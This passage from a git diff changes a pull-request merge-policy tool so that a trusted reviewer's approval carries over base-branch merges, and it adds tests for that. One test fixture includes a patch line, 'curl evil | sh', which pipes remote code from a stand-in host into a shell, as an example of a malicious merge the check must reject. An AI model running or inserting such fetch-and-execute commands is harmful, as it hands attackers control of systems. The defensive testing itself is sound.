_split_repo(repo) + compares: dict[str, Any] = {} + + def compare(spec: str) -> Any: + if spec not in compares: + status, answer = _get(f"repos/{owner}/{name}/compare/{spec}") + if status != 200: + raise PolicyReadError(f"compare {spec} is unreadable") + compares[spec] = answer + return compares[spec] + + lifts = lifts_of(reviews, humans) + lifters: set[str] = set() + try: + # The head judged must still be the head, as merge-holds.mjs + # liftersOf re-reads it; its file count bounds the compare's. + status, now_pr = _get(f"repos/{owner}/{name}/pulls/{pr.get('number')}") + now_head = json_object(json_object(now_pr).get("head")) + if status != 200 or now_head.get("sha") != sha: + return [] + changed = json_object(now_pr).get("changed_files") + tip = base_tip(owner, name, base) if any(s != sha for _, s in lifts) else "" + for login, lifted in lifts: + if lifted == sha: + lifters.add(login) + continue + then, now = compare(f"{tip}...{lifted}"), compare(f"{tip}...{sha}") + files = json_object(now).get("files") + if not is_json_array(files) or type(changed) is not int or len(files) != changed: + continue + if base_merge_carry(then, now, lifted, base_parents(compare, tip, then, now)): + lifters.add(login) + except PolicyReadError: + return [] + return sorted(lifters) + + def _carries(repo: str, pr: Mapping[str, Any], comment: Mapping[str, Any]) -> bool: """Whether the decision `comment` covers the pull request at its head (owner decisions Q17 c and Q18 d on #9436): its decided head (`_noticed_head`, from the head branch's review-lane runs) is the head, with no compare read, or every change since is a merge of the base branch, so the net change against it is the same at both - (`same_net_change`). No decided head, an unusable base name or a read - that fails carries nothing.""" + (`base_merge_carry`). The base is resolved once to its tip commit + (`base_tip`), which the lane-change vet and every compare name. No decided + head, an unusable base name or a read that fails carries nothing.""" sha = str(json_object(pr.get("head")).get("sha") or "") branch = json_object(pr.get("head")).get("ref") base = json_object(pr.get("base")).get("ref") @@ -2516,19 +2709,27 @@ def _carries(repo: str, pr: Mapping[str, Any], comment: Mapping[str, Any]) -> bo return False owner, name = _split_repo(repo) try: - decided = _noticed_head(owner, name, branch, base, comment.get("created_at")) + tip = base_tip(owner, name, base) + decided = _noticed_head(owner, name, branch, tip, comment.get("created_at")) except PolicyReadError: return False if decided is None: return False if decided == sha: return True - reads = [ - _get(f"repos/{owner}/{name}/compare/{base}...{each}") for each in (decided, sha) - ] - if any(status != 200 for status, _ in reads): + + def compare(spec: str) -> Any: + status, answer = _get(f"repos/{owner}/{name}/compare/{spec}") + if status != 200: + raise PolicyReadError(f"compare {spec} is unreadable") + return answer + + try: + then, now = compare(f"{tip}...{decided}"), compare(f"{tip}...{sha}") + in_base = base_parents(compare, tip, then, now) + except PolicyReadError: return False - return same_net_change(reads[0][1], reads[1][1]) + return base_merge_carry(then, now, decided, in_base) def cost_decision( diff --git a/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py b/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py index f7cde25ee9..ed7a4cf901 100755 --- a/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py +++ b/plugins/source-control/skills/babysit-prs/scripts/babysit_verify_evidence.py @@ -2180,7 +2180,9 @@ def lane_risk_refusal( (`merge_policy.cost_decision`). A read that fails holds. A configured or floor high path is lifted, as ci-status lifts it, by a trusted person's approval of the head (`merge_policy.path_lifters` over the pull request's - reviews and `humans`, the trusted list's people); an aliasing path keeps + reviews and `humans`, the trusted list's people), or by their approval of + an earlier head carried over base merges (`merge_policy.carried_lifters`); + an aliasing path keeps its hold, and a review or trusted list that does not read lifts nothing.""" # Imported here: babysit_merge imports this module. import babysit_merge # noqa: PLC0415 @@ -2240,7 +2242,12 @@ def lane_risk_refusal( f"repos/{repo}/pulls/{number}/reviews?per_page=100", f"{repo}#{number} reviews", ) - lifted = bool(merge_policy.path_lifters(reviews, humans(), head)) + trusted = humans() + # An approval of an earlier head carries over base merges that + # leave its net change the same. + lifted = bool(merge_policy.path_lifters(reviews, trusted, head)) or bool( + merge_policy.carried_lifters(repo, pr, reviews, trusted) + ) except Exception: # noqa: BLE001 - an unread approval lifts nothing lifted = False if lifted: diff --git a/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py b/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py index 2fe7579f8c..6d34645db6 100644 --- a/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py +++ b/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_lane_reviews.py @@ -63,8 +63,16 @@ def manifest(after: str) -> ChangedFile: return ChangedFile( - PLUGIN, None, "modified", 1, 1, True, "100644", "100644", - patch="@@ -1 +1 @@\n-a\n+b", contents=(PLUGIN_BASE, after), + PLUGIN, + None, + "modified", + 1, + 1, + True, + "100644", + "100644", + patch="@@ -1 +1 @@\n-a\n+b", + contents=(PLUGIN_BASE, after), ) @@ -190,6 +198,185 @@ def test_the_approval_lifts_no_unsafe_path_or_cost_hold(self) -> None: self.assertNotIn("high-path", str(cost)) +# An approval of an earlier head carried over base merges (#10224): Kyle +# (id 5) approved OLD, then a lane merged the base into it, so the head is a +# merge whose resolve-config change is the one OLD made. +OLD = "c" * 40 +MAIN = "5" * 40 +CARRIED_PR = PR | { + "head": {"sha": HEAD, "ref": "feat/x", "repo": {"full_name": REPO}}, + "base": {"sha": BASE, "ref": "main", "repo": {"private": False}}, +} +OTHER = "7" * 40 +HELD_PATCH = { + "filename": FLOORED.path, + "status": "modified", + "patch": "@@ -1 +1 @@\n-a\n+b", +} + + +def approval(state: str = "APPROVED", sha: str = OLD, user: int = 5) -> dict[str, object]: + return { + "user": {"id": user, "login": f"user{user}", "type": "User"}, + "state": state, + "commit_id": sha, + "submitted_at": "2026-10-27T23:26:14Z", + } + + +HELPER = {"filename": "scripts/helper.sh", "status": "modified", "patch": "+x"} +# main's tip commit, which its full ref resolves to. +TIP = "3" * 40 + + +def carried( + head_files: list[dict[str, object]], + *, + old_files: list[dict[str, object]] | None = None, + reviews: list[dict[str, object]] | None = None, + head_commits: list[dict[str, object]] | None = None, + pr: dict[str, object] = CARRIED_PR, + reads: list[str] | None = None, + now_head: str = HEAD, + changed: int | None = None, +) -> list[str]: + compares = { + OLD: { + "files": [HELD_PATCH] if old_files is None else old_files, + "commits": [{"sha": OLD, "parents": [{"sha": MAIN}]}], + "total_commits": 1, + }, + HEAD: { + "files": head_files, + "commits": head_commits + or [ + {"sha": OLD, "parents": [{"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": OLD}, {"sha": MAIN}]}, + ], + "total_commits": len(head_commits or [0, 0]), + }, + } + + def get(endpoint: str, env: object = None) -> tuple[int | None, object]: + if reads is not None: + reads.append(endpoint) + if endpoint == f"repos/{REPO}/pulls/{pr['number']}": + count = len(head_files) if changed is None else changed + return 200, {"head": {"sha": now_head}, "changed_files": count} + if endpoint == f"repos/{REPO}/git/ref/heads/main": + return 200, {"ref": "refs/heads/main", "object": {"sha": TIP}} + if endpoint.endswith(f"...{TIP}"): + parent = endpoint.rsplit("/", 1)[1].split("...")[0] + return 200, {"status": "ahead" if parent == MAIN else "diverged"} + sha = endpoint.rsplit("...", 1)[1] + assert endpoint == f"repos/{REPO}/compare/{TIP}...{sha}", endpoint + return 200, compares[sha] + + with mock.patch.object(policy, "_get", side_effect=get): + return policy.carried_lifters( + REPO, pr, [approval()] if reviews is None else reviews, TRUSTED + ) + + +class ALiftCarriesOverABaseMerge(unittest.TestCase): + def test_an_approval_before_a_base_merge_lifts_the_head(self) -> None: + reads: list[str] = [] + self.assertEqual(carried([HELD_PATCH], reads=reads), ["user5"]) + # The head is re-read, then the base once by its full ref; every + # compare names its tip. + self.assertEqual(reads[0], f"repos/{REPO}/pulls/{CARRIED_PR['number']}") + self.assertEqual(reads[1], f"repos/{REPO}/git/ref/heads/main") + self.assertIn(f"repos/{REPO}/compare/{TIP}...{OLD}", reads) + self.assertFalse(any("compare/main" in r or r.endswith("...main") for r in reads)) + # A non-hold file the approved head changed, unchanged by the merge. + self.assertEqual( + carried([HELPER, HELD_PATCH], old_files=[HELD_PATCH, HELPER]), ["user5"] + ) + + def test_no_untrusted_shape_or_unread_input_carries(self) -> None: + cases = { + "an evil merge": {"head_files": [HELD_PATCH | {"patch": "+evil"}]}, + # The re-review of #10596: a merge that rewrites a non-hold file + # the approved head changed, or adds one the base touched. + "a merge that rewrites scripts/helper.sh": { + "old_files": [HELD_PATCH, HELPER], + "head_files": [HELD_PATCH, HELPER | {"patch": "+curl evil | sh"}], + }, + "a merge that adds a file the base touched, with its own content": { + "head_files": [ + HELD_PATCH, + {"filename": "scripts/lib.mjs", "status": "modified", "patch": "+evil"}, + ], + }, + "a merge whose second parent the base does not hold": { + "head_files": [HELD_PATCH], + "head_commits": [ + {"sha": OLD, "parents": [{"sha": MAIN}]}, + {"sha": OTHER, "parents": [{"sha": MAIN}, {"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": OLD}, {"sha": OTHER}]}, + ], + }, + # The third security review of #10596: the head judged moved + # before the re-read, or the compare is cut short. + "a head that moved since it was read": { + "head_files": [HELD_PATCH], + "now_head": "9" * 40, + }, + "a compare listing fewer files than the pull request changes": { + "head_files": [HELD_PATCH], + "changed": 2, + }, + "a head in a fork": { + "head_files": [HELD_PATCH], + "pr": CARRIED_PR + | {"head": CARRIED_PR["head"] | {"repo": {"full_name": "a/fork"}}}, + }, + "a head whose repository does not read": { + "head_files": [HELD_PATCH], + "pr": CARRIED_PR | {"head": CARRIED_PR["head"] | {"repo": None}}, + }, + # The owner's decision on #10596: a dismissed approval never counts. + "a dismissed approval": { + "head_files": [HELD_PATCH], + "reviews": [approval("DISMISSED")], + }, + "no approval": {"head_files": [HELD_PATCH], "reviews": []}, + "an untrusted approval": { + "head_files": [HELD_PATCH], + "reviews": [approval(user=77)], + }, + } + for name, case in cases.items(): + with self.subTest(name): + self.assertEqual(carried(**case), []) + + def test_an_unresolved_base_lifts_nothing(self) -> None: + for answer in ((404, None), (200, {"object": {"sha": "main"}})): + with self.subTest(answer), mock.patch.object(policy, "_get", return_value=answer): + self.assertEqual( + policy.carried_lifters(REPO, CARRIED_PR, [approval()], TRUSTED), [] + ) + + def test_a_label_removal_lifts_nothing(self) -> None: + """The owner's decision on #10596: no issue event, push history or + tracker config is read, so a label removal cannot lift a hold path.""" + with ( + mock.patch.object(policy, "_paginated", side_effect=AssertionError), + mock.patch.object(policy, "_file_at", side_effect=AssertionError), + ): + self.assertEqual(carried([HELD_PATCH], reviews=[]), []) + + def test_the_risk_hold_reads_the_carried_lift_on_its_high_paths(self) -> None: + with mock.patch.object( + policy, "carried_lifters", return_value=["user5"] + ) as lift: + self.assertIsNone(held_by((DOC, FLOORED), reviews=[], humans=TRUSTED)) + self.assertEqual(lift.call_args.args[0], REPO) + self.assertEqual(len(lift.call_args.args), 4) + with mock.patch.object(policy, "carried_lifters", return_value=[]): + self.assertIsNotNone(held_by((DOC, FLOORED), reviews=[], humans=TRUSTED)) + + class LaneRiskRefusal(unittest.TestCase): def test_a_plain_doc_change_holds_nothing(self) -> None: self.assertIsNone(refusal()) @@ -215,7 +402,11 @@ def test_an_unbound_security_review_holds(self) -> None: ) def test_a_manifest_change_the_gate_reviews_holds(self) -> None: - for key in ('"hooks": {}', '"mcpServers": {}', '"experimental": {"monitors": []}'): + for key in ( + '"hooks": {}', + '"mcpServers": {}', + '"experimental": {"monitors": []}', + ): after = PLUGIN_BASE.replace('"name": "foo",', f'"name": "foo", {key},') with self.subTest(key): held = refusal((DOC, manifest(after)), config=FLOOR_ON) diff --git a/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_merge_cost.py b/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_merge_cost.py index 47fd40ae65..be5f830e4b 100644 --- a/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_merge_cost.py +++ b/plugins/source-control/skills/babysit-prs/scripts/tests/test_babysit_merge_cost.py @@ -67,6 +67,24 @@ def _net(*files: dict[str, Any]) -> dict[str, Any]: return {"files": list(files)} +# A base commit a merge of the base names as its second parent. +MAIN = "5" * 40 +# The base branch's tip commit, which its full ref resolves to. +TIP = "3" * 40 + + +def _history(sha: str, answer: Any) -> Any: + """`answer` (a compare of base...sha) with the commits a history of base + merges lists unless it names its own: OLD alone for OLD, OLD and a merge + HEAD of the base for HEAD, the head alone for any other.""" + if not isinstance(answer, dict) or "commits" in answer or "files" not in answer: + return answer + commits = [{"sha": OLD if sha == HEAD else sha, "parents": [{"sha": MAIN}]}] + if sha == HEAD: + commits.append({"sha": HEAD, "parents": [{"sha": OLD}, {"sha": MAIN}]}) + return answer | {"commits": commits, "total_commits": len(commits)} + + def _push(after: str, timestamp: str) -> dict[str, Any]: """A push of `after` to the head branch, as the repository activity API lists it.""" @@ -133,9 +151,14 @@ def get(self, endpoint: str, env: Any = None) -> tuple[int | None, Any]: return ( (404, None) if self.unreadable == "activity" else (200, self.activity) ) + if "/git/ref/heads/" in endpoint: + return (404, None) if self.unreadable == "ref" else (200, {"object": {"sha": TIP}}) + if endpoint.endswith(f"...{TIP}"): + parent = endpoint.split("/compare/", 1)[1].split("...")[0] + return 200, {"status": "ahead" if parent == MAIN else "diverged"} sha = endpoint.rsplit("...", 1)[1] if sha in self.compares and self.unreadable != f"compare {sha}": - return 200, self.compares[sha] + return 200, _history(sha, self.compares[sha]) return 404, None def paginated( @@ -210,7 +233,7 @@ def decide( self.reads = lanes.reads def get(endpoint: str, env: Any = None) -> tuple[int | None, Any]: - if "/compare/" in endpoint or "/activity?" in endpoint: + if "/compare/" in endpoint or "/activity?" in endpoint or "/git/ref/" in endpoint: return lanes.get(endpoint, env) self.reads.append(endpoint) return status, comment if comment is not None else _comment() @@ -243,9 +266,10 @@ def test_an_owner_decision_on_the_closing_issue_clears(self) -> None: self.reads, [ "repos/owner/repo/issues/comments/7", + f"repos/owner/repo/git/ref/heads/{BASE}", "repos/owner/repo/actions/workflows/pr-review-hosted.yml/runs" "?event=pull_request&branch=fix%2Fcost&per_page=100", - f"repos/owner/repo/compare/{BASE}...{HEAD}", + f"repos/owner/repo/compare/{TIP}...{HEAD}", "repos/owner/repo/actions/runs/1/jobs?filter=all&per_page=100", "repos/owner/repo/check-runs/1/annotations?per_page=100", "repos/owner/repo/actions/workflows/pr-review-security-hosted.yml/runs" @@ -254,6 +278,8 @@ def test_an_owner_decision_on_the_closing_issue_clears(self) -> None: "&direction=desc&per_page=100", ], ) + # The lane-change vet names the base's tip commit, never the branch. + self.assertFalse(any("/compare/main" in r or r.endswith("...main") for r in self.reads)) def test_a_decision_on_the_pull_request_itself_clears(self) -> None: link = "https://github.com/owner/repo/pull/99#issuecomment-7" @@ -384,21 +410,40 @@ def test_a_pull_request_commit_after_the_decision_re_holds(self) -> None: script = {"filename": "scripts/run.sh", "status": "modified", "patch": "+y"} self.assertIsNone(self.later({OLD: _net(TF), HEAD: _net(TF, script)})) self.assertEqual( - self.reads[-2:], + self.reads[-3:], [ - f"repos/owner/repo/compare/{BASE}...{OLD}", - f"repos/owner/repo/compare/{BASE}...{HEAD}", + f"repos/owner/repo/compare/{TIP}...{OLD}", + f"repos/owner/repo/compare/{TIP}...{HEAD}", + f"repos/owner/repo/compare/{MAIN}...{TIP}", ], ) - def test_a_rebase_with_the_same_net_change_carries_in_any_file_order( + def test_a_base_merge_with_the_same_net_change_carries_in_any_file_order( self, ) -> None: doc = {"filename": "docs/a.md", "status": "added", "patch": "+a"} self.assertEqual(self.later({OLD: _net(TF, doc), HEAD: _net(doc, TF)}), LINK) - # A rebase that drops one of its files is a change of its own. + # A merge that drops one of its files is a change of its own. self.assertIsNone(self.later({OLD: _net(TF, doc), HEAD: _net(TF)})) + def test_a_rebase_or_a_commit_of_its_own_with_the_same_net_change_re_holds( + self, + ) -> None: + rewritten = "6" * 40 + for name, commits in { + "a rebase": [ + {"sha": rewritten, "parents": [{"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": rewritten}]}, + ], + "a commit of its own": [ + {"sha": OLD, "parents": [{"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": OLD}]}, + ], + }.items(): + with self.subTest(name): + head = _net(TF) | {"commits": commits, "total_commits": 2} + self.assertIsNone(self.later({OLD: _net(TF), HEAD: head})) + def test_a_conflict_resolution_that_changes_the_net_change_re_holds( self, ) -> None: @@ -415,7 +460,10 @@ def test_a_compare_of_300_files_or_a_file_with_no_patch_does_not_carry( ) -> None: def many(n: int) -> dict[str, Any]: return _net( - *({"filename": f"f{i}", "status": "added", "patch": "+x"} for i in range(n)) + *( + {"filename": f"f{i}", "status": "added", "patch": "+x"} + for i in range(n) + ) ) self.assertEqual(self.later({OLD: many(299), HEAD: many(299)}), LINK) @@ -442,40 +490,64 @@ def test_the_decided_head_is_the_newest_cost_notice_before_the_decision( ) -> None: added = {"filename": "b.tf", "status": "added", "patch": "+b"} changed = {OLD: _net(TF), HEAD: _net(TF, added)} - older_head = [_run(HEAD, "2026-10-22T10:40:00Z"), _run(OLD, "2026-10-22T11:30:00Z")] + older_head = [ + _run(HEAD, "2026-10-22T10:40:00Z"), + _run(OLD, "2026-10-22T11:30:00Z"), + ] self.assertIsNone(self.decide(runs=older_head, compares=changed)) late = "2026-10-22T11:30:00Z" for name, extra in { "a later notice at the head": _run(HEAD, late), - "from the security lane": _run(HEAD, late, lane="pr-review-security-hosted.yml"), - "with cost among its criteria": _run(HEAD, late, criteria="cost,trust-gate"), + "from the security lane": _run( + HEAD, late, lane="pr-review-security-hosted.yml" + ), + "with cost among its criteria": _run( + HEAD, late, criteria="cost,trust-gate" + ), }.items(): with self.subTest(name): - self.assertEqual(self.decide(runs=[_run(OLD), extra], compares=changed), LINK) + self.assertEqual( + self.decide(runs=[_run(OLD), extra], compares=changed), LINK + ) for name, extra in { "a job done after it": _run(HEAD, "2026-10-22T12:30:00Z"), "a run started after it": _run(HEAD, late, created="2026-10-22T12:10:00Z"), - "a job other than the status job": _run(HEAD, late, job="pr-review / review-key"), + "a job other than the status job": _run( + HEAD, late, job="pr-review / review-key" + ), "the other lane's status job name": _run( HEAD, late, job=CHECKS["pr-review-security-hosted.yml"] ), "a notice naming another head than its run's": _run(OLD, late, notice=HEAD), "a notice without cost": _run(HEAD, late, criteria="trust-gate"), - "a run whose head is in another repository": _run(HEAD, late, repo="fork/repo"), + "a run whose head is in another repository": _run( + HEAD, late, repo="fork/repo" + ), "a run with no head repository": _run(HEAD, late, repo=None), "two heads at the newest time": _run( HEAD, lane="pr-review-security-hosted.yml" ), }.items(): with self.subTest(name): - self.assertIsNone(self.decide(runs=[_run(OLD), extra], compares=changed)) + self.assertIsNone( + self.decide(runs=[_run(OLD), extra], compares=changed) + ) # A run that started after the decision is not read at all. - self.decide(runs=[_run(HEAD), _run(OLD, "2026-10-22T12:30:00Z", created="2026-10-22T12:10:00Z")]) - self.assertNotIn("repos/owner/repo/actions/runs/2/jobs?filter=all&per_page=100", self.reads) + self.decide( + runs=[ + _run(HEAD), + _run(OLD, "2026-10-22T12:30:00Z", created="2026-10-22T12:10:00Z"), + ] + ) + self.assertNotIn( + "repos/owner/repo/actions/runs/2/jobs?filter=all&per_page=100", self.reads + ) def test_a_lane_run_on_a_head_it_cannot_vet_decides_nothing(self) -> None: for name, answer in { - "the code lane's workflow": _net(TF, {"filename": ".github/workflows/pr-review-hosted.yml"}), + "the code lane's workflow": _net( + TF, {"filename": ".github/workflows/pr-review-hosted.yml"} + ), "the security lane's workflow": _net( {"filename": ".github/workflows/pr-review-security-hosted.yml"} ), @@ -622,7 +694,7 @@ def test_at_the_decided_head_it_carries_with_no_net_change_compare(self) -> None self.assertEqual(self.decide(), LINK) self.assertEqual( [r for r in self.reads if "/compare/" in r], - [f"repos/owner/repo/compare/{BASE}...{HEAD}"], + [f"repos/owner/repo/compare/{TIP}...{HEAD}"], ) # With no usable base no run can be vetted, so nothing carries. self.assertIsNone(self.decide(pull=PULL | {"base": {"ref": "-unusable"}})) @@ -641,7 +713,11 @@ def test_a_duplicate_filename_a_pure_rename_or_an_unusable_base_does_not_carry( self.assertFalse(any("/compare/" in r for r in self.reads)) pull = PULL | {"base": {"ref": "release/2.x"}} self.assertEqual(self.later(same, pull=pull), LINK) - self.assertIn(f"repos/owner/repo/compare/release/2.x...{OLD}", self.reads) + self.assertIn("repos/owner/repo/git/ref/heads/release/2.x", self.reads) + self.assertIn(f"repos/owner/repo/compare/{TIP}...{OLD}", self.reads) + # The carry names the base by its tip commit. + self.assertIn(f"repos/owner/repo/compare/{TIP}...{HEAD}", self.reads) + self.assertIsNone(self.later(same, unreadable="ref")) def test_the_decision_is_the_newest_on_the_pull_request_else_the_issue( self, @@ -660,13 +736,16 @@ def on_pull(n: int) -> str: created_at="2026-10-22T11:30:00Z", ), } - changed = {OLD: _net(TF), HEAD: _net(TF, {"filename": "b.tf", "status": "added", "patch": "+b"})} + changed = { + OLD: _net(TF), + HEAD: _net(TF, {"filename": "b.tf", "status": "added", "patch": "+b"}), + } def pick(body: str, runs: list[dict[str, Any]]) -> str | None: lanes = Lanes(runs, changed) def get(endpoint: str, env: Any = None) -> tuple[int | None, Any]: - if "/compare/" in endpoint or "/activity?" in endpoint: + if any(k in endpoint for k in ("/compare/", "/activity?", "/git/ref/")): return lanes.get(endpoint, env) return 200, rows[endpoint.rsplit("/", 1)[1]] diff --git a/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py b/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py index 693018949e..5ab642c8b9 100644 --- a/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py +++ b/plugins/source-control/skills/babysit-prs/scripts/tests/test_merge_holds_sync.py @@ -607,6 +607,10 @@ def _push(after: str, timestamp: str) -> dict[str, Any]: MORE = {"filename": "b.sh", "status": "added", "patch": "+c"} LATE = "2026-01-02T18:00:00Z" NEW = "1" * 40 +# A base commit a merge of the base names as its second parent. +MAIN = "5" * 40 +# The base branch's tip commit, which its full ref resolves to. +_TIP = "3" * 40 # The decided head OLD, then NEW pushed before the decision; HEAD carries # OLD's net change. SINCE = [_push(NEW, "2026-01-02T13:00:00Z"), _push(OLD, "2026-01-02T10:00:00Z")] @@ -722,6 +726,67 @@ def _plain(lane: str) -> dict[str, Any]: "compares": SAME, "activity": SINCE[:1], }, + "a non-merge commit since with the same net change": { + "runs": [_run(OLD)], + "compares": { + OLD: {"files": [TF]}, + HEAD: { + "files": [TF], + "commits": [ + {"sha": OLD, "parents": [{"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": OLD}]}, + ], + "total_commits": 2, + }, + }, + }, + "a merge of a branch other than the base": { + "runs": [_run(OLD)], + "compares": { + OLD: {"files": [TF]}, + HEAD: { + "files": [TF], + "commits": [ + {"sha": OLD, "parents": [{"sha": MAIN}]}, + {"sha": NEW, "parents": [{"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": OLD}, {"sha": NEW}]}, + ], + "total_commits": 3, + }, + }, + }, + "a merge that also edits a file": { + "runs": [_run(OLD)], + "compares": {OLD: {"files": [TF]}, HEAD: {"files": [TF, MORE]}}, + }, + "a force push that rewrote the decided head": { + "runs": [_run(OLD)], + "compares": { + OLD: {"files": [TF]}, + HEAD: { + "files": [TF], + "commits": [ + {"sha": NEW, "parents": [{"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": NEW}, {"sha": MAIN}]}, + ], + "total_commits": 2, + }, + }, + }, + "a history longer than the compare lists": { + "runs": [_run(OLD)], + "compares": { + OLD: {"files": [TF]}, + HEAD: { + "files": [TF], + "commits": [ + {"sha": OLD, "parents": [{"sha": MAIN}]}, + {"sha": HEAD, "parents": [{"sha": OLD}, {"sha": MAIN}]}, + ], + "total_commits": 251, + }, + }, + }, "a patchless pure rename": { "runs": [_run(OLD)], "compares": { @@ -736,8 +801,21 @@ def _plain(lane: str) -> dict[str, Any]: } +def _history(sha: str, answer: Any) -> Any: + """`answer` (a compare of base...sha) with the commits a history of base + merges lists unless it names its own: OLD alone for OLD, OLD and a merge + HEAD of the base for HEAD, the head alone for any other.""" + if not isinstance(answer, dict) or "commits" in answer or "files" not in answer: + return answer + commits = [{"sha": OLD if sha == HEAD else sha, "parents": [{"sha": MAIN}]}] + if sha == HEAD: + commits.append({"sha": HEAD, "parents": [{"sha": OLD}, {"sha": MAIN}]}) + return answer | {"commits": commits, "total_commits": len(commits)} + + def _answers(heads: dict[str, Any]) -> dict[str, Any]: - return {r["sha"]: {"files": [TF]} for r in heads["runs"]} | heads["compares"] + answers = {r["sha"]: {"files": [TF]} for r in heads["runs"]} | heads["compares"] + return {sha: _history(sha, answer) for sha, answer in answers.items()} def _activity(heads: dict[str, Any]) -> list[dict[str, Any]]: @@ -763,6 +841,9 @@ def _activity(heads: dict[str, Any]) -> list[dict[str, Any]]: const [body, comment, issue, heads, answers, activity] = JSON.parse(process.argv[1]); const github = async (method, path, data) => { if (method === "GET" && path === "/repos/o/r/activity?ref=refs%%2Fheads%%2Fb&direction=desc&per_page=100") return activity; + const tip = "3".repeat(40); + if (method === "GET" && path.startsWith("/repos/o/r/git/ref/heads/")) return { object: { sha: tip } }; + if (method === "GET" && path.endsWith(`...${tip}`)) return { status: path.includes(`/compare/${"5".repeat(40)}...`) ? "ahead" : "diverged" }; if (method === "GET" && path.includes("/compare/")) { const sha = path.split("...")[1]; if (!(sha in answers)) throw new Error("no such commit"); @@ -828,6 +909,11 @@ def graphql(query: str, what: str, **variables: Any) -> dict[str, Any]: return {"node": {"lastEditedAt": comment["edited"]}} def get(endpoint: str, env: Any = None) -> tuple[int | None, Any]: + if "/git/ref/heads/" in endpoint: + return 200, {"object": {"sha": _TIP}} + if endpoint.endswith(f"...{_TIP}"): + parent = endpoint.split("/compare/", 1)[1].split("...")[0] + return 200, {"status": "ahead" if parent == MAIN else "diverged"} if "/compare/" in endpoint: sha = endpoint.rsplit("...", 1)[1] return (200, answers[sha]) if sha in answers else (404, None) @@ -914,5 +1000,127 @@ def test_both_carry_a_decision_to_the_same_heads(self) -> None: self.assertIsNone(answers[case], case) +NODE_CARRY = """ +import { baseMergeCarry, fromRest, liftsOf } from %s; +const [lifts, carries, from] = JSON.parse(process.argv[1]); +console.log(JSON.stringify([ + lifts.map((reviews) => liftsOf(reviews.map(fromRest), new Set([1, 3])).map(({ login, sha }) => [login, sha])), + carries.map(([then, now, inBase]) => baseMergeCarry(then, now, from, inBase)), +])); +""" +_OLD = "c" * 40 +_BASE_SHA = "5" * 40 +_HELD = ".github/actions/resolve-config/live-config.test.mjs" +_PATCH = {"filename": _HELD, "status": "modified", "patch": "@@ -1 +1 @@\n-a\n+b"} +_DOC = {"filename": "docs/a.md", "status": "modified", "patch": "+x"} +_LIFTED = "2026-10-27T23:26:14Z" + + +def _moved(*commits: tuple[str, list[str]]) -> dict[str, Any]: + return { + "commits": [ + {"sha": sha, "parents": [{"sha": p} for p in parents]} + for sha, parents in commits + ], + "total_commits": len(commits), + } + + +_THEN = {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]))} +_MERGED = _moved((_OLD, [_BASE_SHA]), (_HEAD, [_OLD, _BASE_SHA])) +_OTHER = "e" * 40 +_REWRITTEN = "f" * 40 +# REST reviews: whose approval stands, as (login, sha). +LIFT_CASES = { + "an approval of an earlier head": [_review("APPROVED", sha=_OLD, at=_LIFTED)], + "an approval by an untrusted account": [_review("APPROVED", 2, _OLD, _LIFTED)], + "an approval by a bot": [_review("APPROVED", 1, _OLD, _LIFTED, "Bot")], + "an approval then changes requested on another head": [ + _review("APPROVED", sha=_OLD, at=_LIFTED), + _review("CHANGES_REQUESTED", sha="d" * 40, at="2026-10-27T23:40:00Z"), + ], + "a dismissed approval": [_review("DISMISSED", sha=_OLD, at=_LIFTED)], + "an approval dismissed after a newer approval": [ + _review("APPROVED", sha=_OLD, at=_LIFTED), + _review("DISMISSED", sha=_HEAD, at="2026-10-27T23:40:00Z"), + ], + "a comment after an approval": [_review("APPROVED", sha=_OLD, at=_LIFTED), _review("COMMENTED", sha=_HEAD, at="2026-10-27T23:40:00Z")], + "two people": [_review("APPROVED", 1, _OLD, _LIFTED), _review("APPROVED", 3, _HEAD, _LIFTED)], +} # fmt: skip +_IN_BASE = [_BASE_SHA] +_HELPER = {"filename": "scripts/helper.sh", "status": "modified", "patch": "@@ -1 +1 @@\n-x\n+y"} +# (then, now, in_base): whether the approval at _OLD carries to _HEAD, given +# the merged parents the base holds. +CARRY_CASES = { + "a base merge": (_THEN, {"files": [_PATCH], **_MERGED}, _IN_BASE), + "a base merge with a non-hold file unchanged": ({"files": [_PATCH, _HELPER], **_moved((_OLD, [_BASE_SHA]))}, {"files": [_HELPER, _PATCH], **_MERGED}, _IN_BASE), + "a merge that rewrites scripts/helper.sh": ({"files": [_PATCH, _HELPER], **_moved((_OLD, [_BASE_SHA]))}, {"files": [_PATCH, _HELPER | {"patch": "+evil"}], **_MERGED}, _IN_BASE), + "a merge that adds a file the base touched": (_THEN, {"files": [_PATCH, _DOC], **_MERGED}, _IN_BASE), + "a base merge after which the base holds a hold path's change": ( + {"files": [_PATCH, _PATCH | {"filename": ".github/actions/resolve-config/b.mjs"}], **_moved((_OLD, [_BASE_SHA]))}, + {"files": [_PATCH], **_MERGED}, + _IN_BASE, + ), + "a merge of a parent the base does not hold": (_THEN, {"files": [_PATCH], **_moved((_OLD, [_BASE_SHA]), (_OTHER, [_BASE_SHA, _BASE_SHA]), (_HEAD, [_OLD, _OTHER]))}, _IN_BASE), + "a merge read with no base answers": (_THEN, {"files": [_PATCH], **_MERGED}, []), + "an evil merge": (_THEN, {"files": [_PATCH | {"patch": "+evil"}], **_MERGED}, _IN_BASE), + "a merge that adds a hold path": (_THEN, {"files": [_PATCH, _PATCH | {"filename": ".github/actions/resolve-config/c.mjs"}], 